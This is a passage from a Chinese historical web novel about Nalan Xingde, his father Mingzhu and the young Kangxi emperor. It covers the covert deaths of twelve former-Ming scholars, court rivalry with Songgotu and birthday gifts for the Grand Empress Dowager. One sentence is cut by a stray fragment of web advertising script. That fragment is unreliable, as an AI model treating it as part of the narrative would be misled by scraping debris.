小揆叙在容若耳边小声问:“长兄,鳌拜不会是阿玛杀的吧?” 容若应道:“不是阿玛,鳌拜死于皇上之手。” * 隔日,两条大消息在民间炸开了锅: 十二名“前明士人”死在“花鸟风月楼”中,现场没有任何打斗过的痕迹,看上去像是自尽,因为有三封按了全员手印的遗书留下,内容是:卖文谋逆、以下犯上、刺杀朝臣,知罪所以以死谢罪。 “花鸟风月楼”的老板吓的弃店而逃,之前造假了禹之鼎的画作的“张纯修”和“洪昇“主动冒头,接管了”花鸟风月楼“的场子,原因和动机不明,勇气倒是十分可嘉。 徐乾学是万万没有想到:那些人全都一命呜呼了。 但,却没有证据指向是明珠做的。 养心殿。 玄烨得知详细之后,避重就轻,对陪臣曹寅道:“朕在意纳兰,所以不追究‘花鸟风月楼’内发生之事。” 曹寅道:“只要皇上不追究,谁也不会多说什么。” “谁想要那些人的命,朕心知肚明,所以今日的结果在预料之中,更何况朕要推行文治大略,不可能不让那些前明士人有所牺牲。” “皇上。”曹寅小心询问,“臣担心的是,朝臣们知道轻重,所以他们不会在您面多说什么;反之,直接对您负责的提督学政吴郎元要是拿这事出来要说法,您会如何处理?” “比起一件事能否处理的称了提督学政的诉求,朕更在乎纳兰的感受。即便是纳兰不表露出什么情绪来,朕也要按照自己的猜测来维护他。” “皇上的意思是,”曹寅猜测,“学政的诉求可以驳回,单单是‘刺杀朝臣’这一条罪,那些前明士人就死的不冤?既然那些人死得不冤,那么无论是自尽还是被杀,死者已矣,提督学政都不应再往深处追查,是吗?” “不错。”玄烨重新拿起了天文算术题来看,“朕想一个人静一静,你退下吧!” “曹寅告退。” * “饮水词歌·素菜馆”的特设雅室内,纳兰容若在默默抄经。 沈宛来到他身后,但是他没发现,直到耳边听见她的一句温声话语:“公子,你向来专注细致,怎么抄写的《地藏经》有三个错字?” “看似人静,心不静。” 容若搁笔,离开书桌,坐到了两人常坐的圆桌边。 容若倒了杯温茶给彼此,道:“我不想被别人看到,只能在这儿抄写。” 沈宛靠近,问:“公子心中不安?” “ ‘花鸟风月楼‘里面的十二条生命就这样没了,事后我想弥补一些什么,却只能躲到这里来。心绪若是不乱,又怎会被宛卿一眼就看到三个错字?” “这世上也就只有公子为他们抄经、盼着他们成佛。”沈宛柔声安慰,“换做别人,只会当他们罪有应得,欢天喜地去庆贺还来不及呢。” 容若没有直面告诉沈宛,此事正是父亲明珠所为。 容若不是恨自己无能为力,而是那一个明珠所坚信的“纳兰家的尊严胜过他人之性命”的理由,压的他难受。除了抄经来缓解,别无他法。 “徐先生把公子的画赠给了张岱先生,张岱先生对公子的画大赞。公子别问我是怎么知道的。” “有幸。” “的确是,我还没有独占的公子的画,却被张岱先生抢了先。”沈宛不甘心,“不过,公子好像很少画画?” “嗯,少画。”容若带着自知之明,“说不上自己在画技上欠缺了什么,但是不得不承认,自己的画比自己的词逊色不少。” “所以……纳兰公子的画就物以稀为贵啦。” “啊,也许是。” 其实容若嘴上应着沈宛的话,脑内却从徐乾学给张岱送画的举动中,猜测出了老师的险恶用心: “花鸟风月楼”的跑堂敢到明府来作证一切,无疑是徐乾学的唆使。 如果那些前明士人们在临别徐乾学之时,向他打听过“纳兰父子的事后态度”和向他寻求“生存之道”的话,那么,只换来了这样一个后果:被徐乾学出卖。 徐乾学这么做,目的无非是:想要验证明珠父子的做法,是否符合自己心中所期待。 容若心想: 只可惜徐先生你错了,你以为我会为“一己之善念”而与阿玛明珠反目成仇,但是我没有。你等到的,只有惊讶,惊讶为什么会是由明珠主导一切。 我可以告诉你答案,“善念”要用对场景才好,否则入了你的陷阱,生疏我和明珠的父子情分,何其不值得? 徐先生,你以为你甩手送掉我的画,就甩掉了自己作恶的包袱吗?没那么容易。就像是我如今虔诚抄写经文一般,想要挽回自己心中的一份愧疚、想要平复骨子里的一份心情,亦是艰难。 人呐,是会有自知的情绪反应的,否则就不是人。 你的解脱并非真解脱,苟且自满罢了;我的虔诚却是真虔诚,日月乾坤可鉴。 * “宛卿,我先回去了。”容若意识到了时间,“抱歉不能与你同行。” 桌子上的小沙漏,是什么时候就上空下满的呢? 落身上的暖阳光,是什么时候就影迹已偏的呢? 时间,过的真快呀! “容若,一路小心。” “好。” 一声名字能够换来满心欢喜,便是满足。 沈宛坐到了容若抄经的书桌前,提笔蘸墨,全神贯注地顺着他的笔迹抄写《地藏家》剩下的部分。 ——我愿与公子一并积累功德,将这份功德回向大乘,让身在苦海之人抵达彼岸、让身受业火之人脱离煎熬。 ——我愿与公子一同共证菩提,将此诚心写作宽量福海,将此意愿点亮无限智慧,以他生悟己生,以己生为他生。 沈宛未遇见容若之前,不懂佛缘,不随身带着菩提子。 她曾笑着对他说:“公子福慧太满,而我却是福慧未满,算不算是互补了?” 他素指拈花,送她一枝自栽的白玉兰,郑重道:“世间一切皆可说圆满,唯独佛学不能。佛学深奥,半知比深知好;福慧无涯,未满反而比圆满好。” “容若是个虔诚之人。所求应如愿。” 沈宛用镇纸压好抄写完毕的经文,收拾书桌之后,带着清素的心情而归。 【注1】《渌水亭杂识》原文:唐昭宗欲伐李克用、李茂贞无可将者,而朱温、杨行密辈其下智勇如林,盖朝廷用卢携、王铎之流,其所举者李系、宋威耳。 66.第66章 养心殿。 提督学政吴郎元跪在地上慷慨陈词。 “皇上,您不能不查‘花鸟风月楼’十二名前明士人死去一案啊!我大清向来按律治国,如此无法无天、取人性命之事,实在是闻所未闻。” 玄烨冷冷暗示道:“朕的意思,是按照全员悔过后选择自裁来结案。” 吴大人却是不开窍,继续坚持心中正道,“臣以为,性命不分贵贱,身份不分满汉,即便是有罪有错,也应当审讯之后再走流程处决。若是天下读书人和士人们的性命卑微至此,那臣宁愿不做这个提督学政!” “不做这个官?好啊,你信不信朕现在就可以摘了你的顶戴!”玄烨忍着怒火,“你眼里看到的,就只有自己所管辖的读书人们的‘做学问’的身份吗?怎么不以此事为鉴,去查一查读书人们的内在,再给朕回话?” “皇上要臣查什么?”吴大人在康熙皇帝面前毫无惧色,“查读书人比查贪官污吏还难,皇上不会不知道!” “大明为何会亡国?党争不断、官商勾结、长久积弊三大原因是也。”玄烨分析起来,“臣子、百姓、国家,要是这三者都走向了覆灭之路,一国之君有再大的本事也无法力挽狂澜。” “请皇上明示——” “你的顶戴朕给你好好留着!”玄烨用眼神示意,叫梁九功上前去把帽子给吴郎元戴回去,“吴大人,你去给朕事无巨细地查:读书人是否与见不得光的组织相勾结?京师乃至全国各地,是否存在另类推举人才的不正之道?天下的读书人除了扮演读书人的角色,是不是还存在着不为人知的另一面。” “臣领旨。” “退下。”玄烨指向大门,“去给朕给大清好好办实事,不要光会动一张嘴皮子去为死者鸣冤。” “吴郎元告退。” 顾问行在内务府忙着明日的太皇太后圣寿之事,所以只有梁九功在养心殿伺候。 玄烨用不怎么看好的态度,对梁九功道:“你要是有顾总管尽心,现在就该向朕汇报纳兰给太皇太后的圣寿准备了什么贺礼。” “回万岁爷,奴才已经打听清楚了。”梁九功这回算是回应了康熙皇帝的心思,“纳兰公子给太皇太后写了贺表、填了首好词、亲手制作了玉兰花酱。” “他种在书房外的那棵玉兰花树?” “是。” “纳兰是个品性高洁的人。”玄烨称赞道,“他的渌水亭命名来自屈子的《离骚》题词:惟渌有之。他的玉兰花是白玉色的,冬日与雪不分,春季与春光同美,温润带香,四季相伴。” 玄烨在纸上写下: 《思纳兰》 几度风吹案上卷,只身凭窗洽玉兰。 三寒四温体无常,谁道心事了难判。 无尽风雨无尽夜,小眠反侧隔风岚。 何意相思付词卷,玉阙春日自带寒。 “万岁爷,可要去请了纳兰公子进宫、让他在养心殿内住上一宿,好跟万岁爷叙话天明,一并去向慈宁宫的老祖宗贺圣寿?” “梁九功,朕才想夸你比之前机灵了,怎么又说了错话?” “奴才是一心一意为了万岁爷的。” “朕今晚要是陪的纳兰不是赫舍里皇后,那明天不被群臣拿祖制家法出来、谏个痛痛快快算好。” “可是万岁爷心里,不是盼着见纳兰公子吗?” “他要是不主动来,就是有原因,朕不想强他所难。” 玄烨从左手上取下一直未送出去的、为纳兰准备的生辰贺礼:十四瓣金刚菩提子手串。 ——朕替你戴着。 ——见物如见你,如此,朕才知道自己该干什么,该如何成为你心目中的好皇帝。 * 明府。渌水亭。 容若、曹寅、禹之鼎聚在一起,桌面上放着三人明日要献给孝庄太皇太后的贺礼。 一瓶的玉兰花酱、一幅寓意美好的长卷好画,以及曹寅准备的上等浮光锦锻料。 曹寅道:“自打禁书之后,真的起到了效果,我是指那些文人‘老实不老实’上面的。自打张岱首当其冲成了第一人、‘花鸟风月楼’的前明士人们付出生命之后,不少藏在暗处的读书人都有所反应:或是主动去提督所交待错行、或是将写了反逆思想的书籍主动上交、或是主动抖露出各种江湖组织来……让提督所上下忙的团团转。” “如果没有效果,皇上的脸面怎么挂的住?”禹之鼎反问,“也不能让纳兰白白当了一次皇上禁书的‘借口’吧?” “小谋终将成大谋,小言终究成大言。”纳兰给两位朋友斟茶,“皇上推广文治大略,向天下读书人大谈孔孟之道是没用的,因为皇上这个年纪不能叫天下读书人信服。还不如来一场符合少年天子脾气的‘禁书’之乱,让大家知道:康熙皇帝要的不是‘禁书’过程当中的风风雨雨,而是今日的成果,即:士人们主动澄清己过、交待往事、效忠大清。” “无论如何,比起皇上有了政绩,我还是觉得纳兰平安无事了最好。” 曹寅拍了拍纳兰的肩膀,以茶代酒,跟纳兰碰了一杯。 “纳兰,你没进宫的日子,皇上身边一直是我在伴驾。”曹寅喜忧参半,“我这个人性子洒脱惯了,不似你沉稳谨慎,所以觉得这差事累人。你还是早点回到皇上身边吧!” 纳兰笑道:“那得让我有个几个分身才行,一个去国子监、一个去徐乾学家中、一个去皇上侧近、一个呆在渌水亭。” “皇上的文治大略已经走了两步:禁书、学习西洋科学。”曹寅询问,“纳兰你说,下一步皇上会怎么走?” “我的话,是盼着皇上能够减裁长城边防将士人数,暂缓长城修缮一事。” “纳兰,你真不要命了!”禹之鼎捂住纳兰的嘴,“哪怕是我这个平日里不参政的人,也知道你这话一出,非被满朝文武碎尸万段了不可。” “我知道长城不但是一个文化符号,更起着重要的边防作用。”纳兰思考着道,“但是换个角度想一想:皇上的‘满汉一家’之上的大愿,不是‘民族一统’吗?” 曹寅和禹之鼎同时道:“没错。” “现在皇上让汉籍读书人们开始有了反省心,就意味着他们将会愿意融入和接纳中原新主的文化,汉人们尚且能够如此,那边夷地域之人是不是也值得用——‘裁守将’和‘缓工期’来笼络?” “你说的有道理。”禹之鼎点头,“你只是让边夷地域的人看到:大清不同于以往的朝代,只把长城视为强辨华夷的存在;大清视人心之坚胜过长城之固,必将能那些边夷地域之人感受到浩荡皇恩和融通华夷的仁和之策。” “是这个意思。”纳兰饮茶,“我没有糊涂到让皇上全撤长城防守和一世不修长城,只是在这个时期,按照皇上的资历做的动的事情,就是这一计:改严酷的防守之策为亲民之策,修法养民,主张众志成城。以此,来自固边境和归抚边夷,实现完整的华夏一统。” “你这主意,要不要我跟皇上说?” 曹寅这么问的时候,心中多少存着忐忑。 “等秋后再说吧,我不想自己的好心和良策,变成了阿玛敌对势力眼里的险心和痛举。到头来,自己被逼的连秋考都参加不了了。” 纳兰摇头,用茶挑拨了拨盘中的茶叶。 渌水亭外的荷花池,铺着绿叶,水面静美如镜。 纳兰带着两位好友共赏,别后,回房作词一首: 《苏雨幕·偶感》 七分才,十分心,寥落自吹春风。几时燕来,闲啄几枚池面皱冷?复徘徊,抬望眼,依旧今日天气。明媚换胧朦。 相邀过后尽别离,北望断肠,一放别绪水中央。自步近书阁,帘卷墨香。无端释卷,自立疏窗。何当共论帝王策,秋日围场再鞭扬。 * 宫中喜气洋洋,同贺太皇太后孝庄生日。 皇上皇后和后宫嫔妃们自然不必说,一早就已经按照规矩去慈宁宫向孝庄请了安和说了吉祥话;份量重的朝臣们,更是人人准备了好礼,早早进入皇宫,在太和殿外稍候,等着孝庄的接见。 “什么叫做本官下手害了那十二个前明士人?”徐乾学大呼冤枉,“本官抱着必死之心去‘花鸟风月楼’完成太皇太后和皇上交代的使命,也如实向上头回了话,哪有那么大的能耐去杀人?” 兴必察问:“徐大人,你会不会是爱弟子纳兰性德过了头,一时之间想不开,为了他就一气之下将那十二个前明士人全给要了命?” “本官万万不敢!”徐乾学没想到自己也会陷入今日局面,“皇上都将此事做了罢,诸位同僚又何必质疑本官?” “徐大人,你能给纳兰性德当老师,那是多少大儒都修不来的福气?”李光地一脸呵呵,“可别因为贵公子而把自己的前途都给赔没了!贵公子脆弱多病,敏感易伤也就罢了,关键是他诡计多端,别有用心,在给皇上献策上面让人防不胜防,你作为贵公子的老师,责无旁贷。” 徐乾学心中恼火,要不是明珠就在不远处,他真的很想大骂一句经典之语: “本官是教纳兰性德学问,不是教他如何做人的!” 另一边。 明索二人碰了头。 “明珠,怎么今日你与容若公子是父子分开来?”索额图上前,神色带讽,“多少同僚等着你带儿子过来炫耀呢?” “我与容若分开来,也比你儿子格尔芬不能来的好。”明珠回过一记冷笑,“容若今日要如何表现、如何度过,我何须处处管着?” “你儿子没打什么歪心思吧?”索额图扫了一眼明珠带来的贺礼,“我送礼,可是明明白白地挑、堂堂正正地送,不像你们父子投人所好。” “本官不怕告诉所有人,”明珠磊落地看着眼前的同僚们,“纳兰父子不送些虚的没用的东西,也不送些耐看的纯玩的物品,只为太皇太后送上真心意。” 陈廷敬道:“本官听说索大人准备的是一尊神似太皇太后的观音像,不知道明珠大人准备的是?” “一份名单。” 明珠这话一出,把好几个心虚的大臣给吓了一跳。毕竟那些大臣不知道自己是否卷入了名单之中,也不知道这是一份关于什么参奏要事的名单。 “本官开玩笑的。”明珠对着那些慌神失色的大臣一笑,“你们这么紧张做什么?索大人没给你们吃强心剂吗?” “明珠大人你就别卖关子了。”陈廷敬觉得自己就跟个和事佬一样,“你今天到底给太皇太后送什么啊?” 明珠得意道:“一个人。” “列位同僚看到了吗?听到了吗?”索额图大声拍掌,面色却是鄙视,“这么重要的可以邀功论赏的日子,明珠怎么会忘记炫耀容若公子呢?这不是等到了吗?” “不,本官指的是多尔衮。” 明珠此话说罢,包括索额图自身在内,太和殿外一片大惊。 到底是李光地大胆,“明珠大人,你这是反了吗?” “反?本官没什么好反的。”明珠摇了摇头,“多尔衮是大清开疆扩土的英雄,原本就应该享太庙!先帝记恨,不等于太皇太后记恨,本官今日就是要把命人打造出来的‘摄政王同款宝刀’献给太皇太后。” 索额图大恨道:“明珠当着这么多人的面标榜多尔衮,纳兰性德拿西方术题来迷惑皇上,这对父子真是狼子野心,有心要毁大清江山!” “本官想着也该有人来传话,叫众位大人一并去慈宁宫恭贺太皇太后圣寿了,就先行一步,不在此处等候了。” 说罢,明珠率先离场而去。 索额图双手叉腰,瞪看着明珠的背影,吼出一句: “如今吴三桂没反,明珠倒是想反,我大清迟早败在纳兰父子手中。来人,给本官截下明珠手里的东西……” “慢着!”徐乾学上前道:“索大人息怒,切勿中了明珠大人的设计。” 索额图没好气问:“此话怎讲?” “明珠大人没有把礼盒打开,谁也不知道里面装着什么?”徐乾学格外谨慎,“他说是仿制的摄政王宝刀,就一定是摄政王宝刀吗?万一不是,索大人你提防过度,叫人拦阻搜拿却扑了个空,岂不是打了自己的脸?” “是啊索大人。”保持中立的陈廷敬也出来相劝,“不可冲动行事。” 索额图做了罢,在心里对明珠一顿痛骂: ——老狐狸,阴险狡诈! ——我倒要看看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,你这回把什么东西拿出手,对太皇太后有何求! “众位大人久等了。”来了一位叫做李福连的太监,“请随奴才一同前往慈宁宫恭贺太皇太后圣寿。” 需知道,一个太监李福连哪里说得动那些文武? 得是索额图有所动作了,其他人才跟着索大人去往太皇太后的所在之处罢了。 * 等到拜贺太皇太后圣寿的大臣们都一一散去,玄烨才把自己准备的东西告知了孝庄。 “皇阿奶,孙儿亲自捕猎了一只鹿,过后,孙儿亲自将鹿肉取下交给御膳房烹饪,叫他们做出一道‘樱桃炖鹿肉’来给皇阿奶尝新。” 孝庄奇问:“这道菜皇上尝过吗?” 玄烨正想脱口而出一句“纳兰尝过,是他给朕出的主意”时,迎上了公子无辜的眼神:皇上,臣是半素饮食,不怎么吃肉。所以你别拿臣当借口。 “回皇阿奶,朕没尝过,但是今日朕要跟皇阿奶一起尝。” “好好好。”孝庄喜悦道,“皇后,明珠父子也一并尝。” 于是,“樱桃炖鹿肉”就被端了上来。 纳兰小吃了一口,觉得口感是:软糯当中带着果味的清甜,自己可以接受。 明珠恭敬道:“臣明珠谢太皇太后、皇上恩典,此鹿肉味感新奇,前所未有,今日得以品尝,是臣之幸。” “纳兰,你吃了朕的鹿肉,是不是感受到了一股‘依靠之情’?” “啊?”纳兰不明白玄烨的意思,“皇上是指什么?” “张纯修自称你给他写了书信,上面提到:鄙□□闲,近苦鹿鹿。朕看《颜氏家训》集解卷第三《勉学》章之后,得知‘鹿鹿’是‘无依无靠’的意思。朕难免猜测,你是不是在抱怨什么——” “抱怨是有,但对象不是皇上。而是臣自身。” “如今张纯修胆子大了!”玄烨忽然把脸一沉,“不但敢接管‘花鸟风月楼’,还敢分享纳兰的心事,明珠你说那人该当何罪?” 明珠赶紧向孝庄求助,“臣恳请太皇太后定夺。” ——如此,既能兼顾儿子容若的心情,又能叫皇上没有反驳的余地,该是最好的应对方式了吧? 明珠双目依依相求地看着孝庄。 孝庄和气道:“今日宜赏不宜罚,我早就听闻张纯修擅长画画,技艺可以乱真禹之鼎,所以就干脆成人之美:准了张纯修和纳兰往来,彼此画词相和,不是正好?” 玄烨不敢坏了寿星孝庄的心情,应道:“朕赐张纯修‘尼堪’一姓,抬入正白旗,也好让纳兰交个满人朋友,皇阿奶以为如何?” “那自然是再好不过了!” 见孝庄点头,明珠大喜,替儿子回了话:“皇上的‘破汉制兼重满人’之策,能在这件事情上得以体现,臣与容若都为皇上和太皇太后高兴!” 孝庄问纳兰:“孩子,你觉得呢?” 纳兰起身谢道:“臣觉得很好,谢太皇太后,谢皇上。” “既然张纯修的旗籍变了,那么‘花鸟风月楼’的属性也该变了。”玄烨亮出了自己的目的,“朕会亲自下令,让‘花鸟风月楼’变成天下文人雅客们集会之所,不再为汉籍士人所垄断!” 说着,玄烨向纳兰投去了一个“朕这么做,你高兴了吗?”的目光。 纳兰澄澈的笑容重回脸上,让玄烨为之一震。 “皇上,张纯修现在跟曹寅同旗籍,又跟禹之鼎有一样的天赋和兴趣,想必在以后,热闹的地方就不止是渌水亭,更有花鸟风月楼。臣觉得是他之幸,也是自己之幸。”纳兰忽然单膝跪地,“谢皇上。” ——纳兰,你是在替天下文人感谢朕? ——还是自己发自内心的对朕有好感? 玄烨大惊。 以至于过了好一会儿,才伸出双手把纳兰扶起来。 * 夜深人静。 慈宁宫重归了往日的光景之时,孝庄叫了苏麻喇姑过来陪自己说话。 “老祖宗身体硬朗,今日从早至今都没有停歇过,奴才看,这是咱们大清之福、皇上之福。以后皇上干大事,需要老祖宗做后盾的地方还多着呢。” “我是蒙古人,不比那些汉人女子娇气。”孝庄回想起自己嫁到皇太极身边以后的事,“这大清从开国到现在,每一点变化我都是看着的。” “老祖宗,每年您的圣寿到了夜幕最深之时,都是在密室里陪着多尔衮王爷的画像和宝刀过的。” “是啊,年年如此,今年也不例外。”孝庄流露出向往,“等会儿我就去看多尔衮,他有知,定是等我等的着急了。” “天意弄人,当年您要是嫁给多尔衮王爷,也许一辈子就是一位贤良的王妃,哪能像现在一般,跟皇孙一起扛起大清江山的重任呢?” “是啊!”孝庄感慨,“天意要如此,半点由不得人。所以我才要善待跟多尔衮相关的纳兰家,特别是明珠的长公子。” 苏麻喇姑道:“奴才觉得,今日纳兰公子是真切盼着老祖宗您圣寿如意,长命百岁的。纳兰公子不同于那些文武百官和亲王贝勒,也不同于后宫众人和蒙古远亲,说出来的话真挚,送出手的东西也有心。” 随后,她就去把纳兰送给太皇太后的“玉兰花酱”和“贺表”、“贺词”一并拿了过来。 孝庄感动道:“我就是喜欢纳兰这孩子亲手做的东西和亲手写的篇章。多实在啊,苏嬷嬷你说是不是?” “是啊!”苏麻喇姑有所共感,“纳兰公子不追求浮华,送给老祖宗的东西,都是他自己花了心血去打磨出来的,作为年贺礼的扇子也是。” “别人可能不信,但我却要承认:每年大大小小的节日,关己的也好,不关己的也罢,我对纳兰这孩子准备的贺礼,是最有盼头的。” 苏麻喇姑微笑道:“老祖宗您一首一首地保存着纳兰公子写的词,一会奴才陪您一起去守着多尔衮王爷,听您把纳兰公子的词念给多尔衮王爷听。” “要说的,要念的。” 孝庄这就起了身,拿起桌面上的词稿往密室走去。 “多尔衮啊……”孝庄情深意切,“你可是纳兰的祖王父,你要对纳兰有知,保佑着他好、保佑着平安。” 67.第67章 纳兰容若在养心殿等候康熙皇帝。 梁九功拿了一篮樱桃过来,道:“纳兰公子爱吃樱桃吗?万岁爷特别喜欢。” 纳兰放下手中画笔,笑道:“我的心态比李商隐好,李商隐总担心樱桃会被黄莺吃掉。我则是担心樱桃多到吃不完,好分给朋友们吃。” 梁九功道:“奴才虽然不懂公子你的心事,却也听万岁爷说过:‘纳兰跟李商隐相像,都是十几岁起就开始涉足官场和政治,身后皆有党争之累:牛李党争和明索党争。但是朕,不会让朕的纳兰落入李商隐的死局:儿女情长逝宦海。’ ” “梁公公,你常把皇上的心思告诉我,不怕皇上追究?” “公子你善待奴才,不似那些来面圣的大人们那样趾高气扬,所以奴才愿意为公子报恩。” “皇上倒是真的懂我,把我跟李商隐一块儿比较。我就是不愿意被人与李后主同论,我亦是少看少读李后主的词。梁公公你可以找个机会,把我这话回给皇上听。” “是,奴才记下了。” 这时候,门外传来了“皇上、皇后娘娘驾到——”的高喊声。 “臣纳兰性德,请皇上安好,请皇后娘娘安好。” “奴才梁九功,叩见皇上、皇后娘娘。” 玄烨兴奋道:“纳兰,朕要告诉你一个好消息:赫舍里有身孕了,朕要有自己的嫡长子了!” “那是真是件大好事!”纳兰同喜同乐,行礼道,“臣恭喜皇上,恭喜皇后娘娘。” 梁九功亦跪地磕头道:“皇上大喜,皇后娘娘大喜!太皇太后大喜!” “朕的心里高兴啊,终于要有自己的子嗣了。”玄烨挽起赫舍里的手,“终于能够给皇阿奶一个交代了!” 赫舍里温婉道:“是,臣妾一定会保养好龙胎,为皇室添子添福。” “臣给皇上和皇后娘娘写贺词,现在就写。” 帝后的琴瑟和鸣,触动着纳兰温善的心弦。他返回恻席,端坐提笔,将一篇好词一挥而就。 “这词写的好!”玄烨大赞,又吩咐道,“梁九功,把纳兰的新词拿到慈宁宫去给太皇太后看,就说:朕跟皇后,还有纳兰,今日陪皇阿奶一起用午膳。” “是,奴才这就去办。” 领了命,梁九功就满心喜悦地朝慈宁宫去了。 * 索额图终于从慈宁宫的掌事大太监李福连口中,打听到了纳兰父子分别给太皇太后送了什么圣寿贺礼。 李福连道:“索大人,纳兰公子给了老祖宗一罐玉兰花酱,老祖宗今早还一边吃一边说好呢。明珠大人给了老祖宗一幅五彩金丝线刺绣的图样,说是父子一起设计的,要是老祖宗喜欢,就叫人照着图样来定制成紫檀屏风献给老祖宗。” 索额图一拍桌子,怒道:“李公公你说这得花多少金?没有十万金做不做的来?明珠那么多钱,大清的吏治如何能不败坏!” “得了吧索大人。”李福连一甩拂尘,“幸好当日你没有把长方形盒子里的刺绣图样卷轴,给当成‘多尔衮王爷的宝刀’扣下,否则老祖宗怪罪下来,你就等着领大罚吧!” “本官一心为了大清,忧国忧民,就从未像明珠那般——敛财而不知疲倦过!”索额图一身正气,“李公公,照您见多识广的眼光看,贵公子弄出来的装玉兰花酱的瓶子价值多少金啊?” “奴才可不好说。”李福连摆了摆手,“照老祖宗的说法,出自纳兰公子的手的东西,都是无价之宝。” * 索额图打发走了李福连,才想着去请见赫舍里皇后,就见到了匆匆而来的李光地等人。 折返密室坐下。 “又出什么大事了吗?”索额图问那三个幕僚,“民间的?还是朝廷的?” “既是民间又是朝廷。”李光地回禀道,“皇上给画师张纯修抬了旗,将他归属到上三旗里面的正白旗里面去了!不止,连不明不白地死了十二人的‘花鸟风月楼’,也成了明珠大人的了……” “什么?”索额图一下子从位置上跳了起来,“花鸟风月楼不是个小场子,那就是个三教九流的文人聚谈会所,怎么就归了明珠?你给本官说清楚——” “张纯修是纳兰性德的朋友,此人跟纳兰性德私交甚好甚密,之前下官想不明白为何‘花鸟风月楼’一出事,张纯修就有胆子站出来接管?现在豁然开朗,原来是背后有纳兰公子撑腰啊!” 李光地继续道:“纳兰父子趁着太皇太后圣寿,拿好礼讨得孝庄和康熙欢心,就向那对祖孙要了个恩典:将张纯修抬旗、且让张纯修成了‘花鸟风月楼’的新主人。” “索大人,张纯修哪有那么大能耐坐得住‘花鸟风月楼’的场子?得有明珠的势力、纳兰公子的人面、自身的身价才行啊!所以下官才说:这个‘花鸟风月楼’看似张纯修坐镇,实际上还是明珠大人在掌权啊!” “本官从未见过如此狠戾之人!” 索额图发泄道:“那十二个前明士人,九成是明珠叫人杀的,杀人之后又利用太皇太后的圣寿,将事发地的大场子占为己有,妄图借机为皇上的文治大略出力,明珠真是苦心孤诣、步步算尽!” 辜鸿玳道:“照下官看,纳兰公子乐意结交汉人朋友,也是带着不可告人的目的。真是难料明珠父子在布什么大局啊。” “明珠预谋太深,既爱权又爱财,可是有一点他没看明白,那就是:皇上一旦过了少年期,就会格外忌惮对皇权造成威胁之人。明珠和长公子容若,一个‘位重’,一个‘才高’,本官就不信,皇上会一直对他们父子好下去。” 兴必察问:“那要是他们父子偏就愿意对皇上好呢?” “那就简单了。”索额图很有预见性,“皇上只要把纳兰性德弄死,再把明珠的实权剥夺,自然可以上不愧天、下不愧地地说出这么一番话来:‘朕是明君,迫杀纳兰性德、架空明珠,都是合情合理、有益于大清前景之举!’纳兰性德的在天之灵和明珠残喘之恨,谁敢怪皇上?” “自古君王多负义。”李光地对索额图劝道,“索大人,你的下场不见得就比明珠父子要好啊。” 索额图仰天笑了几声。 “你们说,为何要为臣?为了千秋名声,还是为了争口气?做平头百姓哪里就不好,穿粗布衣吃糙米饭怎就比锦衣玉食差了?为臣者啊,说到底还是在为家族和为心志活着。” * 容若第一次踏进“花鸟风月楼”。 也许是因为正在改装,所以出了在进行工事的工匠们以外,并无别的宾客。 绕过现场堆积的材料和已经拆卸过的角料,容若走上了第三层,之前接到张纯修的飞鸽传书,才知道三楼是有讲究的,文人盼着里面的切磋之音能够:绕梁三日。 “张兄。”容若上前打招呼,“你派来的那只鸽子,我看着特别有趣,想留下来养几日。” 张纯修坐在窗台上,一身豪爽,竟如个侠客一般,不似个专攻画画的文人。 “容若,你要不坐我对面?”见纳兰犹豫,张纯修朗朗笑道,“你不敢坐窗台上的吧?你的从小学的规矩和贵公子的气质修养不允许。” “无妨。” 容若对待朋友真挚,一甩衣服下摆,翻身坐了上去,与张纯修相对面。 然后,他带着些心里有数但是无所谓的笑颜,道:“底下来往的行人都不抬头看,不然就是两个后果:明府的人奉明珠的命来拿长公子回家,明珠对长公子训骂惩戒和亮出家法两不误;我现在就装作不经意的样子,掉一个东西下去引人注目,引来人人的‘坐窗台’模仿,让京师内外秩序大乱。” “所以我才说,容若你身价高却够朋友。” “这样的场景,这样的对话模式,我没有经历过,多谢长兄给了我新体验。纳兰感激不尽。” “容若,你说的那只鸽子,不是我养的而是我从江湖中人手里雇的,所以没法送给你养。” “飞鸽传书的经典,还当属王维:君自故乡来,应知故乡事。” “你怎知那是鸽子带来的音讯,而不是来客?” “王维写这首诗的时候,是少年,才十七岁,没有那么多离愁别恨,我想他应当是清新绮丽的,不然他不会在后面一句留给人无限想象:‘来日绮窗前,寒梅著花未?’张兄,你说王维的故乡的梅花到底开没开?” “我不是鸽子。”张纯修失笑,“我哪里知道?” “我知道,梅花未开。虽然我也不是鸽子。”容若挂着一个天然可爱的笑容,“王维是河东蒲州(今山西运城市)人,他的故乡少见梅花树,只有茱萸是真。所以王维藏着自己的小心思:看似询问人,实际却是询问鸽子;看似想知道梅花开没开,实际却是想知道自己是否被情人或是家人挂念。” “容若你博学,怎么不知道河东蒲州有红梅,且开的好?”张纯修伸出一只手,“等你有空,为兄带你去看。” “咱们大清这会是有,但是王维生活的大唐不多见。”容若细心道,“我在写《渌水亭杂识》的样章,需要多方搜集资料,所以我晓得那时的梅花大多生长在齐鲁。” “看你,一只鸽子就跟我说这么多话。” “不行吗?”容若忽然犯了会失去朋友的紧张感,格外小心地询问,“在张兄面前和给长兄的书信里,我不是可以畅所欲言吗?” “当然是可以,为兄是觉得自己有幸,被你如此认真对待。” “那就好。”容若放下心来,“我还是愿意在张兄面前做个多话的人。” “容若,为兄要谢谢你!” 张纯修一下子从窗台上落了地,向纳兰行了一个文人的大礼。 “张兄见外了,谢我做什么?” 容若虽还是坐着,优雅的身姿却把他谦虚的神色衬托的分外真挚。 “我是正白旗的人了!跟容若你一样,归属上三旗,多大的殊荣啊。”张纯修一边感恩一边激动道,“如果不是你,康熙皇帝不可能把这好事放在我身上吧?” 张纯修又自顾自地摆了摆手,“像什么有一技之长,性格独特,天下罕见……之类的标签,全是虚的,皇上抬旗不看这些的吧?” “谁说不看的?”容若懂得玄烨的心思,“皇上可是仔细看过你的画了,说你有惊世画才呢!皇上还说,张纯修的才能不至于此,日后朕对他必有大用。所以张兄你别谢我,该朝着天子的所在方向去谢皇上。” “容若你自己不承认,但是为兄心里明白,你肯定向皇上暗中引荐过为兄。” 容若没有正面说“是”或者“不是”,只道:“皇上从现在起,要重用满人,张兄你要牢记自己的身份和辨析明白‘花鸟风月楼’的作用,不要辜负任何恩典。” “世上之人千千万万,全是浮云,全是过客。” 张纯修拿起桌子上的酒壶,抬手,仰头就饮。 